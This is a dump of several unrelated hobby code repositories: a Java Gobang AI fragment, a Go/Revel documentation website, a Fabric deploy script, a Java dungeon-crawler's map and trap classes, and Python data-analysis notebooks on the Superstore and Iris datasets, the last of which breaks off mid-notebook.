return GobangStrategy.getGobangRobot("ai-v1")
.think(tryChess, gameDepth, executeDepth, computerColor);
}
}
private void handleWin(boolean isWin, boolean isBlack) {
if (isWin) {
String colorName = isBlack ? "黑棋" : "白棋";
if ((isBlack && computerColor == WHITE) || (!isBlack && computerColor == BLACK)) {
int sign = 1;
int count = 1;
for (int i = recordPoints.size() - 1; i > 0 && count > 0; i--) {
if (recordPoints.get(i).score > GobangConstants.LOSE_SCORE_SIGN) {
RecordPoint recordPoint = recordPoints.get(i);
Integer oldScore = recordPoint.score;
int loseScore = 0;
// int loseScore=((sign-count)/count*1.0)*( recordPoint.score-GobangConstants.LOSE_SCORE);
if (count != sign) {
loseScore = (int) ((recordPoint.score - GobangConstants.LOSE_SCORE) * (0.01));
recordPoint.score = recordPoint.score - loseScore;
} else {
recordPoint.score = GobangConstants.LOSE_SCORE;
}
// - loseScore;
System.out.println("update lose score. key : " + recordPoint.allChess +
" old score: " + oldScore + " new score: " + recordPoint.score);
count--;
// submit(recordPoint);
}
}
}
String msg = String.format("恭喜,%s赢了!", colorName);
JOptionPane.showMessageDialog(this, msg);
gameOver = true;
restart();
pressMark = false;
}
}
}
|
68a8d6a0f738466372b4ab11f02df842030eab03
|
[
"Markdown",
"Java"
] | 15
|
Java
|
zyLear/gobang-ai
|
4f5671006972a5433c09f27c0feaed79299a06be
|
c07484e7bec75c1de91b0f01e8531b1bb6721cd9
|
refs/heads/master
|
<repo_name>pedromorgan/revel-www<file_sep>/app/controllers/utils.go
package controllers
import (
"bufio"
"fmt"
"os"
"os/exec"
//"//io/ioutil"
"html/template"
//"path/filepath"
"strings"
//"github.com/revel/revel"
"github.com/russross/blackfriday"
"gopkg.in/yaml.v2"
"github.com/pksunkara/pygments"
)
type YamlJekyllPage struct {
Title string ` yaml:"title" `
Layout string ` yaml:"layout" ` // not used in revel
}
type PageData struct {
Title string
HTML template.HTML
}
// a mardown file has some yaml at the top which contains
// title, so this scans line by line.. (TODO jekyll tag replace)
// ---
// title: foo
// layout: manual
// ---
// TODO , this is real slow and needs a regex expert
func ReadMarkdownPage( section, page string) PageData {
var pd PageData
md_file_path := CLONES_DIR + "/revel.github.io/" + section + "/" + page + ".md"
file, err := os.Open(md_file_path)
if err != nil {
fmt.Println("error md", err)
}
defer file.Close()
yaml_bounds := "---"
yaml_str := ""
body_str := ""
found_yaml_start := false
in_yaml := false // we always expect yaml ??
in_code := false
code_str := ""
lexer := ""
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
if line == yaml_bounds {
if found_yaml_start == false {
in_yaml = true
found_yaml_start = true
} else {
in_yaml = false
}
} else {
if in_yaml {
yaml_str += line + "\n"
} else {
// TODO need a regex for "{%highlight foo %}"
if len(line) > 2 && line[0:2] == "{%" && strings.Contains(line, "endhighlight") == false && strings.Contains(line, "highlight") {
//fmt.Println("GOT CODE=" , line)
xline := line
xline = strings.Replace(xline, "{%", "", 1)
xline = strings.Replace(xline, "%}", "", 1)
xline = strings.Replace(xline, "highlight", "", 1)
xline = strings.TrimSpace(xline)
//fmt.Println("GOT CODE=" , line, xline)
lexer = xline
//if line == "{% highlight go %}" {
//body_str += "``` go\n"
body_str += "\n"
code_str = ""
in_code = true
//}
} else if len(line) > 2 && line[0:2] == "{%" && strings.Contains(line, "endhighlight") {
//fmt.Println("END CODE=" , line)
//body_str += "##########" + code_str + "###########"
hi_str := pygments.Highlight(code_str, lexer, "html", "utf-8")
//fmt.Println("hi=", hi_str)
body_str += string(hi_str)
//body_str += "```\n"
body_str += "\n"
in_code = false
} else {
if in_code {
code_str += line + "\n"
} else {
body_str += line+"\n"
}
}
}
}
}
if err := scanner.Err(); err != nil {
//log.Fatal(err)
}
// parse yaml header bit
var yami YamlJekyllPage
err = yaml.Unmarshal([]byte(yaml_str), &yami)
if err != nil {
fmt.Println("error md", err)
}
pd.Title = yami.Title
//fmt.Println("===", pd.Title, yami)
// convert markdown
extensions := 0
extensions |= blackfriday.EXTENSION_NO_INTRA_EMPHASIS
extensions |= blackfriday.EXTENSION_TABLES
extensions |= blackfriday.EXTENSION_FENCED_CODE
extensions |= blackfriday.EXTENSION_AUTOLINK
extensions |= blackfriday.EXTENSION_STRIKETHROUGH
extensions |= blackfriday.EXTENSION_SPACE_HEADERS
htmlFlags := 0
htmlFlags |= blackfriday.HTML_USE_SMARTYPANTS
htmlFlags |= blackfriday.HTML_SMARTYPANTS_FRACTIONS
//htmlFlags |= blackfriday.HTML_GITHUB_BLOCKCODE
//htmlFlags |= blackfriday.HTML_TOC
renderer := blackfriday.HtmlRenderer(htmlFlags, "", "")
output := blackfriday.Markdown([]byte(body_str), renderer, extensions)
pd.HTML = template.HTML(output)
//fmt.Println("yamiii", yami)
return pd
}
func GetGoDocPackage(package_path string) template.HTML {
go_file_path := "github.com/revel/" + package_path //revel/" // + go_file
fmt.Println("sources=", go_file_path)
app := "godoc"
cmd := exec.Command(app, "-html", go_file_path)
stdout, err := cmd.Output()
if err != nil {
fmt.Println(err.Error())
//return
}
return template.HTML(stdout)
}
<file_sep>/app/controllers/github.go
package controllers
import(
//"fmt"
"github.com/google/go-github/github"
)
/*
basic version that fetched all revel stuff from API
TODO need caching etc and below proof of concept..
*/
type Repo struct {
}
func GetReposList() ([]github.Repository, error) {
client := github.NewClient(nil)
opt := &github.RepositoryListByOrgOptions{}
repos, _, err := client.Repositories.ListByOrg("revel", opt)
//fmt.Println(repos)
return repos, err
}
<file_sep>/app/controllers/nav.go
package controllers
import(
"fmt"
//"os"
"io/ioutil"
"gopkg.in/yaml.v2"
)
/*
These struct import the yaml jekyll format
There weare atht the _layouts/foo.html header but extracted
to /foo/_nav.yaml
*/
type NavPage struct {
Label string ` yaml:"title" `
Url string ` yaml:"url" `
}
type NavGroup struct {
GroupTitle string ` yaml:"name" `
Pages []NavPage ` yaml:"articles" `
}
type NavSection struct {
Root string ` yaml:"root" `
Name string ` yaml:"name" `
SectionTitle string ` yaml:"section_title" `
SubGroups[] NavGroup ` yaml:"nav" `
}
// This a hack to read yaml at top, of _layout/jekyll and return nav.yaml
// later we expect this to be a yaml in the directory.
// eg https://github.com/revel/revel.github.io/blob/master/_layouts/manual.html
func GetNav(section string) NavSection {
nav_file := CLONES_DIR + "/revel.github.io/" + section + "/_nav.yaml"
raw_bytes, err := ioutil.ReadFile(nav_file)
if err != nil {
fmt.Println("error, raw bytes", err)
}
var nav NavSection
err = yaml.Unmarshal([]byte(raw_bytes), &nav)
if err != nil {
fmt.Println("error, yaml", err)
}
// scan lines until we hit <doctype
// must be a better way.. am golang newview
/*
ret := ""
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
if line == "<!DOCTYPE html>" {
fmt.Println(ret)
return ret
}else {
ret = ret + line + "\n"
}
}
if err := scanner.Err(); err != nil {
//log.Fatal(err)
}
*/
//fmt.Println("nav=", nav)
return nav
}
<file_sep>/app/controllers/pages.go
package controllers
import (
//"fmt"
//"os/exec"
//"bufio"
//"//io/ioutil"
"html/template"
"path/filepath"
//"strings"
"github.com/revel/revel"
//"github.com/russross/blackfriday"
//"gopkg.in/yaml.v2"
//"github.com/pksunkara/pygments"
)
type CurrPage struct {
//Title string
Version string
SectionUrl string
SectionTitle string
PageUrl string
PageTitle string
//Version string
Lang string
Content template.HTML
}
//var Site *SiteStruct
func GetCurrPage(section, section_title, version, lang, page string) CurrPage {
s := CurrPage{SectionUrl: section, SectionTitle: section_title, PageUrl: page, Version: version, Lang: lang}
return s
}
type Pages struct {
*revel.Controller
}
// /robots.txt - Only allow spiders on prod site
func (c Pages) RobotsTxt() revel.Result {
txt := "User-agent: *\n"
if revel.Config.BoolDefault("site.live", false) == false {
txt += "Disallow: /\n"
}
txt += "\n"
return c.RenderText(txt)
}
// main home page
func (c Pages) Index() revel.Result {
return c.Render()
}
// render an expected markdown file
func (c Pages) Markdown(site_section, ver, lang, page string) revel.Result {
cPage := GetCurrPage(site_section, "Manual", ver, lang, page)
nav := GetNav(site_section)
c.RenderArgs["nav"] = nav
page_no_ext := page
if filepath.Ext(page) == ".html" { // wtf includes the .
page_no_ext = page[0: len(page) - 5]
}
// use template.HTML to "unescape" encoding.. ie proper html not <escaped
pdata := ReadMarkdownPage(site_section, page_no_ext)
c.RenderArgs["page_content"] = pdata.HTML
cPage.PageTitle = pdata.Title
c.RenderArgs["cPage"] = cPage
return c.Render()
}
func (c Pages) Godoc(go_file string) revel.Result {
cPage := GetCurrPage("docs/godoc", "Go Docs", "0.16", "en", go_file)
/*
go_file_path := CLONES_DIR + "/revel/" // + go_file
app := "godoc"
cmd := exec.Command(app, "-html", go_file_path)
stdout, err := cmd.Output()
if err != nil {
fmt.Println(err.Error())
//return
}
*/
c.RenderArgs["page_content"] = GetGoDocPackage("revel/templates/")
cPage.PageTitle = go_file
c.RenderArgs["cPage"] = cPage
return c.Render()
}
func (c Pages) Github() revel.Result {
repos, err := GetReposList()
if err != nil {
//TODO
}
c.RenderArgs["repos"] = repos
return c.Render()
}
<file_sep>/fabfile.py
# -*- coding: utf-8 -*-
"""
This is a workaround, later this stuff need to be in a revel job
for now its a quick way to get git clones of external repos
"""
import os
import sys
from fabric.api import env, local, run, cd, lcd, sudo, prompt
from fabric import colors
ROOT_DIR = os.path.dirname(os.path.realpath(__file__))
WORK_DIR = ROOT_DIR + "/workspace"
env.hosts = ['revel-www.daffodil.uk.com']
env.user = "revel"
env.password = "<PASSWORD>"
env.use_ssh_config = True # this is using ~/.ssh/config = sshkey login
## repositories with url / branch
repos = [
["github.com/revel/revel", "develop"],
["github.com/revel/modules", "master"],
["github.com/revel/cmd", "master"],
["github.com/revel/samples", "master"],
#["github.com/revel/samples", "master"],
#//["github.com/revel/revel.github.io", "develop"]
["github.com/revel/revel.github.io", "develop"]
]
def run():
"""Run revel app local in dev mode"""
local("revel run github.com/pedromorgan/revel-www")
def up_test():
"""Update test server """
local("git push origin master")
def setup():
goget()
init_clones()
update_clones()
def goget():
"""Read go_deps.txt and runs go get.. wtf"""
f = open(ROOT_DIR + "/go_deps.txt", "r")
s = f.read()
f.close()
for line in s.split("\n"):
naked = line.strip()
if naked != "":
local("go get %s" % naked)
def init_clones():
"""Clones repositories to externals/*"""
print "#>>>> Initialising clones"
for r in repos:
with lcd(WORK_DIR):
parts = r[0].split("/")
print "repo=", WORK_DIR + "/" + parts[-1]
if not os.path.exists(WORK_DIR + "/" + parts[-1]):
local("git clone https://%s.git" % r[0])
update_clones()
def update_clones():
"""Update clones to latest in dev branch for now"""
for r in repos:
parts = r[0].split("/")
pth = WORK_DIR + "/%s" % parts[-1]
print "path=", pth
with lcd(pth):
local("git fetch")
local("git checkout %s" % r[1])
local("git pull origin %s" % r[1])
<file_sep>/README.md
# revelframework.com in revel
- The revel www is revel application that makes the revel website, manual etc work.
- The revel site in revel is (Dog Food)[http://en.wikipedia.org/wiki/Eating_your_own_dog_food] in software.
Ideas are to..
- automate the release cycle and docs
- create an integrated system
- make application docs, source code and all work together
- provide a platform for international
Current revel docs Issues:
- Currently docs are on revel.github.io..
- This restrict things such as no running plugins..
- and its written in ruby, and outta out control..in gopher land
Research
=============
This project is a bit of research into
how to still use the markdown and original source
as some of the ideas are good, eg _data/ directory..
It mainly gonna be well dodgy to discover if possible..
But also to be able to mutli-version, and even make the pages dynamic
and make the whole system update itself..
= landing page /
- about/
- download/
- manual/0.13/*
- modules/:source/:ver/*
and stuff like that..
Expect to use..
- bootstrap and go templates
- some golang md parser
- client/server ajax./
- mobile site in jquery mobile..
- other stuff for run,
- even running examples as proxies, ie revel in revel in revel ;-)
- IRC BOT
- IRC BOT to websockets.
- integration with Github eg auth
- integration with ML
- replace ML with a stackoverflow like Q+A + tags + mini wiki
- any third party modules register and testing
====================
APP REQUIREMENTS:
====================
templates:
make east tags in docs..
eg
{{man controllers appconf}}
= links to controllers and appconf pages in small blue links or something
{{godoc controller config}}
Make alerts.notices easy with
This includes the icon and warning and color configurable..
```alert-important Simple mistake
do not:
- and this and {{man links}}
```
====================
Remove slaving
====================
Ability to check remote git hub..
integrationg with git hub and issues..
<file_sep>/app/controllers/site.go
package controllers
import (
"os"
)
var CLONES_DIR = os.Getenv("GOPATH") + "/src/github.com/pedromorgan/revelframework.com/workspace"
var SiteSections []string = []string{"manual", "tutorial", "samples"}
|
cbcf1548dce37e406e97dae26f1ab349d1eb8516
|
[
"Markdown",
"Python",
"Go"
] | 7
|
Go
|
pedromorgan/revel-www
|
d848e8f9f1fdc21e0a3d2ce58e16aed51fac1e55
|
434e4499ac54405f74925fd77685f840393c1253
|
refs/heads/master
|
<file_sep>import java.awt.Graphics;
import java.util.ArrayList;
import java.util.ConcurrentModificationException;
public class Map {
private static Tile[][]map;
private final int nTiles = Data.getNumTiles();
private static int floor=-1;
private static ArrayList<Trap>traps=new ArrayList<>();
private static boolean trapsAdded=false;
Map(){map=new Tile[nTiles][nTiles];}
public static ArrayList<Trap> getTraps(){return traps;}
public static Tile getTile(int x, int y){
if(x>=0&&x<=Data.getNumTiles())
if(y>=0&&y<=Data.getNumTiles())
return map[x][y];
return new Tile(x,y,MapData.WALL);
}
private static void loadFloor(int flr){
floor=flr;
clearTraps();
if(MapData.getFloor(flr)!=null){
int[][]curFloor=MapData.getFloor(flr);
for(int i=0;i<Data.getNumTiles();i++)
for(int j=0;j<Data.getNumTiles();j++)
setTile(i,j,curFloor[i][j]);
addTrapsAndKeys(flr);
if(Data.DEBUG())System.out.println("Loaded Floor "+flr);
}else{
floor=-1;
Data.endGame();
}
}
private static void loadRandomFloor(){
Data.setEndlessLevels(Data.getEndlessLevels()+1);
int[][]curFloor=MapData.getRandomFloor();
for(int i=0;i<Data.getNumTiles();i++)
for(int j=0;j<Data.getNumTiles();j++)
setTile(i,j,curFloor[i][j]);
if(!trapsAdded)addTrapsAndKeys(MapData.getEndlessFloor());
if(Data.DEBUG())System.out.println("Randomly Loaded Floor "+MapData.getEndlessFloor());
floor=-1;
}
public static void clearTraps(){
while(traps.size()>0){
traps.get(0).stop();
traps.remove(0);
}
trapsAdded=false;
}
private static void addLavaTrap(int[]x,int[]y,int delay){traps.add(new LavaTrap(x,y,delay,true));}
private static void addDartTrap(int x,int y,int delay,Data.Direction dir){traps.add(new DartTrap(x,y,delay,dir));}
public static void loadNextFloor(){
trapsAdded=false;
Data.resetKeys();
clearTraps();
Board.removeDarts();
if(Data.isModeClassic())
loadFloor(floor+1);
else if(Data.isModeEndless())
loadRandomFloor();
}
private static void addTrapsAndKeys(int var){
clearTraps();
switch(var){
case 0:floorZeroTraps();break;
case 1:floorOneTraps();break;
case 2:floorTwoTraps();break;
case 3:floorThreeTraps();break;
case 4:floorFourTraps();break;
case 5:floorFiveTraps();break;
case 6:floorSixTraps();break;
}
trapsAdded=true;
}
private static void floorZeroTraps(){
int[]x=fillArr(6,5,false);int[]y=fillArr(2,5,true);
addLavaTrap(x,y,10);
addDartTrap(1,5,2,Data.Direction.DOWN);
}
private static void floorOneTraps(){
int[]x=fillArr(4,3);int[]y=fillArr(0,3,true);
addLavaTrap(x, y, 4);
x=fillArr(0,9,true);y=fillArr(4,9);
addLavaTrap(x,y,7);
}
private static void floorTwoTraps(){
addKey(4,7);
}
private static void floorThreeTraps(){
int length=8;
int[]x;
int[][]y={{2,1,1,1,1,1,1,1,1},{3,2,1,1,1,1,1,1},{4,3,2,1,1,1,1,1},
{5,4,3,2,1,1,1,1},{6,5,4,3,2,1,1,1},{7,6,5,4,3,2,1,1},{8,7,6,5,4,3,2,1}};
for(int i=1;i<length;i++){
x=fillArr(i,length);
addLavaTrap(x,y[i-1],7);
}
}
private static void floorFourTraps(){
addDartTrap(3,1,3,Data.Direction.RIGHT);
addDartTrap(5,2,2,Data.Direction.LEFT);
addDartTrap(3,3,3,Data.Direction.RIGHT);
addDartTrap(5,4,2,Data.Direction.LEFT);
addDartTrap(3,5,3,Data.Direction.RIGHT);
addDartTrap(5,6,2,Data.Direction.LEFT);
addDartTrap(3,7,3,Data.Direction.RIGHT);
}
private static void floorFiveTraps(){
addKey(7,1);
addKey(1,7);
}
private static void floorSixTraps(){
addKey(1,4);
addKey(4,1);
addKey(4,7);
}
private static int[] fillArr(int val,int length){
int[]arr=new int[length];
for(int i=0;i<length;i++)
arr[i]=val;
return arr;
}private static int[] fillArr(int val,int length,boolean up){
int[]arr=new int[length];
if(up)
for(int i=0;i<length;i++)
arr[i]=val++;
else
for(int i=0;i<length;i++)
arr[i]=val--;
return arr;
}
public static void setTile(int x,int y,int val){map[x][y]=new Tile(x,y,val);}
public static void setFloor(int val){floor=val;}
public void paint(Graphics g){
for(int i=0;i<nTiles;i++)
for(int j=0;j<nTiles;j++)
map[i][j].paint(g);
}
private static void addKey(int x,int y){Board.addEntity(new Key(x, y));}
}
<file_sep>public class MapData {
//Holds all the data for the map tiles
//To make a new floor, add a method to build the floor, increase
//nFloors, implement method in floorMethod(), add Traps on Map
private final static int nFloors = 7,nTiles=Data.getNumTiles();
public static final int WALL=0,PATH=1,LAVA=2,END=3,START=4,TRAP=5,LOCK=6;
private static int endlessFloor=0;
public static int getEndlessFloor(){return endlessFloor;}
//Used a fancy 3D array to hold level layouts and each floor
private static int[][][]floors=new int[nFloors][nTiles][nTiles];
public static int[][] getFloor(int floor){
if(floor<nFloors)
return floors[floor];
return null;
}
public static int[][]getRandomFloor(){
//Rolls a new floor for random, and you won't get the same floor twice
int old = endlessFloor;
do {
endlessFloor = (int) (Math.random() * nFloors);
}while(endlessFloor==old);
return floors[endlessFloor];
}
private static int[][] floorMethod(int num){
switch(num){
case 0:return floorZero();
case 1:return floorOne();
case 2:return floorTwo();
case 3:return floorThree();
case 4:return floorFour();
case 5:return floorFive();
case 6:return floorSix();
default:return null;
}
}
public static void setupFloors(){
for(int i=0;i<nFloors;i++){
floors[i]=floorMethod(i);
}
}
private static int[][] floorZero(){
int[][]temp=new int[nTiles][nTiles];
temp[1][7]=START;
temp[7][1]=END;
for(int i=1;i<4;i++)
temp[i][6]=PATH;
for(int i=4;i<6;i++)
temp[3][i]=PATH;
for(int i=3;i<6;i++)
temp[i][4]=PATH;
for(int i=2;i<5;i++)
temp[5][i]=PATH;
for(int i=5;i<8;i++)
temp[i][2]=PATH;
temp[1][5]=TRAP;
return temp;
}
private static int[][] floorOne(){
int[][]temp=new int[nTiles][nTiles];
setFloorAs(temp,PATH);
for(int i=0;i<nTiles;i++){
temp[0][i]=WALL;
temp[nTiles-1][i]=WALL;
temp[i][0]=WALL;
temp[i][nTiles-1]=WALL;
}for(int i=1;i<nTiles-2;i++){
temp[2][i]=WALL;
temp[6][i]=WALL;
}for(int i=2;i<nTiles-1;i++){
temp[4][i]=WALL;
}
temp[1][1]=START;
temp[nTiles-2][1]=END;
temp[4][nTiles-2]=LAVA;
return temp;
}
private static int[][] floorTwo(){
int[][] temp = new int[nTiles][nTiles];
for(int i=2;i<nTiles-2;i++)
temp[i][1]=PATH;
temp[4][1]=LAVA;
for(int i=3;i<6;i++)
temp[i][2]=PATH;
temp[1][1]=START;
temp[nTiles-2][1]=END;
for(int i=2;i<8;i++)
temp[4][i]=PATH;
temp[6][1]=LOCK;
return temp;
}
private static int[][] floorThree(){
int[][]temp=new int[nTiles][nTiles];
temp[0][1]=START;
temp[8][1]=END;
for(int i=1;i<8;i++){
temp[i][1]=PATH;
}
return temp;
}
private static int[][]floorFour(){
int[][]temp=new int[nTiles][nTiles];
temp[4][0]=START;
temp[4][8]=END;
for(int i=1;i<8;i++){
temp[4][i]=PATH;
}
return temp;
}
private static int[][]floorFive(){
int[][]temp=new int[nTiles][nTiles];
setFloorAs(temp,PATH);
border(temp,LAVA);
temp[6][7]=LOCK;
temp[7][6]=LOCK;
temp[2][2]=START;
temp[7][7]=END;
return temp;
}
private static int[][]floorSix(){
int[][]temp=new int[nTiles][nTiles];
for(int i=1;i<8;i++){
temp[i][4]=PATH;
temp[4][i]=PATH;
}for(int i=5;i<8;i++)
temp[i][4]=LOCK;
temp[4][4]=START;
temp[8][4]=END;
return temp;
}
//Builds a border around the cur array
private static void border(int[][]temp,int type){
for(int i=0;i<nTiles;i++){
temp[0][i]=type;
temp[8][i]=type;
temp[i][0]=type;
temp[i][8]=type;
}
}
//Sets every value in the array to a value
private static void setFloorAs(int[][]temp,int type){
for(int i=0;i<nTiles;i++){
for(int j=0;j<nTiles;j++){
temp[i][j]=type;
}
}
}
}
<file_sep>import java.awt.event.ActionEvent;
public class LavaTrap extends Trap{
private int cur,type;
private boolean isForward,first,circular;
private int[]x,y;
LavaTrap(int[]x,int[]y,int delay,boolean circular){
super(delay);
this.x=x;
this.y=y;
type=getCurType();
cur=0;
first=true;
isForward=true;
this.circular=circular;
}
private int getCurType(){return Map.getTile(x[cur],y[cur]).getValue();}
private void setCurTile(int type){Map.setTile(x[cur],y[cur],type);}
@Override
public void actionPerformed(ActionEvent e){
setCurTile(type);
if(first){
type=getCurType();
first=false;
cur--;
}
if(timer.isRunning()){
//Loops through the arrays of points and depending on circular
// will either go backwards after or restart immediately
if(x.length > 1){
if(circular) {
if (isForward) {
if (cur > x.length - 2) {
isForward = false;
cur--;
} else
cur++;
} else {
if (cur < 1) {
isForward = true;
cur++;
} else
cur--;
}
type = getCurType();
setCurTile(MapData.LAVA);
}else{
if(cur>x.length-2){
cur=0;
}else
cur++;
type = getCurType();
setCurTile(MapData.LAVA);
}
}else
setCurTile(MapData.LAVA);
}
}
}
|
644a64bbb42e9a6cbde7d56b92b4cec6661861aa
|
[
"Java"
] | 3
|
Java
|
choltsclaw21/DungeonCrawler
|
f2330f0c2f85152740ecf234317b8b1e9a3ca37e
|
bea9fc8d15cffe93cacfec1fb85b377e778440c0
|
refs/heads/master
|
<repo_name>5l1v3r1/rec-music<file_sep>/src/requirements.txt
starlette<=0.13.6
uvicorn
fastapi
pydantic
python-multipart
scikit-learn
pandas<file_sep>/README.md
# rec-music
Music recommender deployed on heroku
## [Medium](https://medium.com/@sdamoosavi/deploy-music-recommender-on-heroku-e0dce3d924ef)
<file_sep>/src/Dockerfile
FROM bitnami/minideb:buster
ENV PYTHONUNBUFFERED 1
ENV PYTHONDONTWRITEBYTECODE 1
RUN apt-get update \
# dependencies for building Python packages
&& apt-get install -y build-essential \
&& apt-get install -y bash libc-dev libzbar-dev gcc git curl wget vim nano sudo \
&& apt-get install -y ranger caca-utils highlight atool w3m poppler-utils mediainfo \
# cleaning up unused files
&& apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false \
&& rm -rf /var/lib/apt/lists/*
# Install Python3
RUN apt-get update && apt-get install -y software-properties-common
RUN \
apt-get update && \
apt-get install -y python3.7 python3.7-dev python3.7-distutils python3-pip python3-virtualenv && \
rm -rf /var/lib/apt/lists/*
RUN update-alternatives --install /usr/bin/python python /usr/bin/python3.7 1
RUN update-alternatives --set python /usr/bin/python3.7
RUN pip3 install --upgrade pip
COPY src/requirements.txt /requirements.txt
RUN pip3 install --no-cache-dir -r /requirements.txt
RUN mkdir -p /main
COPY ./src/main /main
COPY src/run.sh /run.sh
RUN chmod a+rwx /run.sh
RUN chmod -R a+rwx /main
ENV PORT=80
EXPOSE $PORT
WORKDIR /main
ENTRYPOINT ["/run.sh"]<file_sep>/src/run.sh
#!/bin/sh
set -o errexit
set -o nounset
uvicorn web_app:app --host "0.0.0.0" --port $PORT --reload --ws 'auto' \
--loop 'auto' --workers 4
exec "$@"
|
81a8dd3aaba8cc949e6329a6a4fc103fb4160dee
|
[
"Markdown",
"Text",
"Dockerfile",
"Shell"
] | 4
|
Text
|
5l1v3r1/rec-music
|
58c8ffc143141b895188b648a30fda89dc2f439b
|
5061de51c50a8aca2450da8cd5899096fbf07179
|
refs/heads/master
|
<file_sep>#!/usr/bin/env python
# coding: utf-8
# # Task #5: To explore Business Analytics
# Task
# Perform ‘Exploratory Data Analysis’ on the provided dataset ‘SampleSuperstore’ You are the business owner of the retail firm and want to see how your company is performing. You are interested in finding out the weak areas where you can work to make more profit. What all business problems you can derive by looking into the data? You can choose any of the tool of your choice (Python/R/Tableau/PowerBI/Excel)
#
# Dataset: https://drive.google.com/file/d/1lV7is1B566UQPYzzY8R2ZmOritTW299S/view
#
# Import all libraries
# In[1]:
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
# In[2]:
# Load Data Set
business=pd.read_csv('C:/sparks foundations/SampleSuperstore.csv')
business.head()
# # EDA Analysis
# In[3]:
business.shape
# In[4]:
business.info()
# In[5]:
# descriptive analysis
business.describe()
# In[6]:
sns.jointplot(x='Sales',y= 'Quantity', data=business)
# In[7]:
sns.countplot(x='Profit' , data=business)
# In[8]:
# Checking Null Values
business.isnull().any()
# In[9]:
business.duplicated().sum()
# In[10]:
business.drop_duplicates(keep='first',inplace=True)
business
# In[11]:
# Correlation analysis
corr=business.corr()
corr
# In[12]:
sns.heatmap(corr,annot=True)
# In[13]:
sns.countplot(business['Ship Mode'])
plt.show()
# In[14]:
sns.countplot(business['Segment'])
plt.show()
# In[16]:
# plot histogramme
business.hist(figsize=(10,10),bins=50)
plt.show()
# In[17]:
plt.figure(figsize=(12,7))
plt.scatter(x=business['Sales'],y=business['Profit'],c='m')
plt.title("Sale VS Profit")
plt.xlabel('Total Sale')
plt.ylabel("Profit")
plt.show()
# In[19]:
plt.figure(figsize=(12,8))
sns.countplot(business['State'],order=(business['State'].value_counts().head(30)).index)
plt.xticks(rotation=90)
plt.show()
# In[20]:
plt.figure(figsize=(10,8))
business['Sub-Category'].value_counts().plot.pie(autopct='%1.1f%%')
plt.show()
# In[21]:
# total profit and sales
plt.figure(figsize=(11,7))
business.groupby('Sub-Category')['Profit','Sales'].agg(['sum']).plot.bar()
plt.show()
# In[22]:
# Counts of Sub-Category Region-Wise
plt.figure(figsize=(12,7))
sns.countplot(x='Sub-Category',hue='Region',data=business)
plt.xticks(rotation=90)
plt.show()
# Here we can easily conclude how much effect our data set variable in a business with various graphs and we can compare overall statistics our data in terms of retailer business analytics.
<file_sep>#!/usr/bin/env python
# coding: utf-8
# # Task #4: Decision Tree Algorithm
# Decision tree algorithm falls under the category of supervised learning. They can be used to solve both regression and classification problems.
#
# Decision tree uses the tree representation to solve the problem in which each leaf node corresponds to a class label and attributes are represented on the internal node of the tree.
#
#
# Task
# For the given ‘Iris’ dataset, create the Decision Tree classifier and visualize it graphically. The purpose is if we feed any new data to this classifier, it would be able to predict the right class accordingly.
#
# Dataset : https://drive.google.com/file/d/11Iq7YvbWZbt8VXjfm06brx66b10YiwK-/view?usp=sharing
# In[1]:
#Loading Libraries
import numpy as np
import pandas as pd
import seaborn as sns
import matplotlib.pyplot as plt
get_ipython().run_line_magic('matplotlib', 'inline')
# In[2]:
# Loading the iris dataset
df=pd.read_csv("C:\python\Iris.csv")
df.head()
# In[3]:
df_new=df.rename(columns={'SepalLengthCm':'Sepal_Length','SepalWidthCm':'Sepal_Width',
'PetalLengthCm':'Petal_Length','PetalWidthCm':'Petal_Width'})
df_new.head()
# # Explore our data set
# In[4]:
df_new.shape
# # Data Preprocessing
# In[5]:
df_new.info()
# There are 4 - Numerical Features and one categorical column
# There are totally 150 rows or observations are in data
# In[6]:
# see descriptive analysis
df_new.describe()
# In[7]:
sns.jointplot(x='Sepal_Length',y= 'Sepal_Width', data=df_new)
# In[8]:
sns.countplot(x='Petal_Width' , data=df_new)
# In[9]:
# Checking null Vaules
df_new.isnull().sum()
# In[10]:
df_new=df_new.drop(['Species','Id'],axis=1)
df_new.head()
# # Outlier Analysis
# In[11]:
#select only numeric
cnames = df_new.select_dtypes(include=np.number)
# In[12]:
#plot boxplot
f , ax = plt.subplots(figsize =(15,15))
fig = sns.boxplot(data =cnames)
# In[22]:
# In[13]:
# #Detect and delete outliers from data
for i in cnames:
print(i)
q75, q25 = np.percentile(df_new.loc[:,i], [75,25])
iqr = q75 - q25
min = q25 - (iqr*1.5)
max = q75 + (iqr*1.5)
print(min)
print(max)
# In[ ]:
# # Model Development
# In[14]:
from sklearn.model_selection import train_test_split
from sklearn.tree import DecisionTreeClassifier
from sklearn.metrics import classification_report,confusion_matrix,accuracy_score
from sklearn import tree
# In[15]:
X=df_new
y=df["Species"]
# In[16]:
# Split Train and Test Data
X_train,X_test,y_train,y_test=train_test_split(X,y,test_size=0.2)
# In[17]:
X_train
# In[18]:
y_train
# In[19]:
# fit train and test data
tree1=DecisionTreeClassifier(criterion='entropy')
tree1.fit(X_train,y_train)
y_pred=tree1.predict(X_test)
# In[20]:
print(classification_report(y_test,y_pred))
# In[21]:
print(confusion_matrix(y_test,y_pred))
# In[22]:
# calculating accuracy of model
print(accuracy_score(y_pred,y_test))
# In[23]:
# Heat map analysis
sns.heatmap(confusion_matrix(y_pred,y_test),annot=True)
plt.show()
# In[24]:
cols=list(df_new.columns.values)
cols
# In[25]:
plt.figure(figsize=(14,9))
tree.plot_tree(tree1.fit(X,y),feature_names=cols,filled=True,precision=3,
proportion=True,rounded=True)
plt.show()
# In[ ]:
<file_sep>#!/usr/bin/env python
# coding: utf-8
# # Task # 3 - To Explore Unsupervised Machine Learning
#
# Problem Defination :
# From the given ‘Iris’ dataset, predict the optimum number of clusters and represent it visually.
# # Import library
# In[6]:
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
get_ipython().run_line_magic('matplotlib', 'inline')
import seaborn as sns
from sklearn import preprocessing
from sklearn.cluster import KMeans
# # load Iris data set
# In[13]:
df = pd.read_csv("C:\sparks foundations\Iris.csv")
# In[14]:
# getting Data
df.drop('Id',axis=1,inplace=True)
df.head()# See the first 5 rows
# In[15]:
df['Species'].value_counts()
# # Data Preprocessing
# In[16]:
# Descriptive analysis of data
df.describe()
# In[17]:
# Data type of variables
df.info()
# In[18]:
# Divide the data into inputs and labels
